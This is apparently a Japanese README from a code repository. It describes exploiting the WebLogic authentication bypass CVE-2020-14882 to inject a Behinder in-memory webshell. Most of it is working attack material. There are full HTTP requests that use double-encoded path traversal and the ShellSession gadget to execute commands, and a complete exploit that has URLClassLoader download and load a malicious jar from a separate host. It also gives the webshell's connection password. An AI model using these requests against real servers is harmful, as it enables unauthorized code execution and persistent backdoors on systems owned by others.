kk98kk0/cve-2020-14882CVE-2020-14882を使用して冰蝎メモリウェブシェルを展開する
周知の通り、CVE-2020-14882 は認証バイパスの脆弱性であり、攻撃者はこれを利用して影響を受ける WebLogic Server 上で任意のコードを実行できます。
インターネット上で公開されている POC では、不正な文字を使用したアクセスバイパスを行い、Gadget を利用してコマンド実行を呼び出しています。しかし、実際のアプリケーションシナリオやレッドチーム攻撃では、単にコマンドを実行するだけでは不十分です。このため、認証バイパスの脆弱性を利用してメモリシェルを展開する方法が重要になります。
脆弱性分析の記事は多数存在しますが、本質は二重エンコードの問題です。公開されている実行コード POC を以下に示します。
POST /console/images/%252e%252e/console.portal HTTP/1.1
Host: 192.168.137.129:7001
cmd: whoami
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.129:7001/console/login/LoginForm.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=bVc4ldVQMjOVUU4Ch2gfrbdjJzOseetqLr98eCB-_a-1KoUGzBLm!2048667864; ADMINCONSOLESESSION=6KHjgTjHTJphTvmMmpSd6L1c1gmnwwD1nnjT2J5p6JrrhvxHjChb!355090686
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1182
_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')
現在、エコーが可能なのは Weblogic 12.2.1 以降のバージョンのみです。10.3.6 には当該クラスが存在しないためです。
このバージョンでは com.tangosol.coherence.mvel2.sh.ShellSession という gadget を使用して任意のコードを実行していることがわかります。
そこで、java.net.URLClassLoader を利用して悪意のあるクラスをロードし、メモリシェルを注入できます。
URLClassLoader は ClassLoader の実装クラスの一つで、ローカルからバイナリクラスファイルをロードできるだけでなく、リモートからクラスをロードすることも可能です。
Weblogic 冰蝎メモリシェル
パッケージ化して jar を生成
そして、com.tangosol.coherence.mvel2.sh.ShellSession gadget を使用して URLClassLoader を呼び出し、リモートロードを実行します。
コードは以下の通りです。
com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();");
完全な Exp
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();"); HTTP/1.1
Host: 192.168.100.120:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate1
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
冰蝎の接続パスワードは rebeyond です。
注：デフォルトバージョンの冰蝎はメモリシェルをサポートしていません。
参考リンク：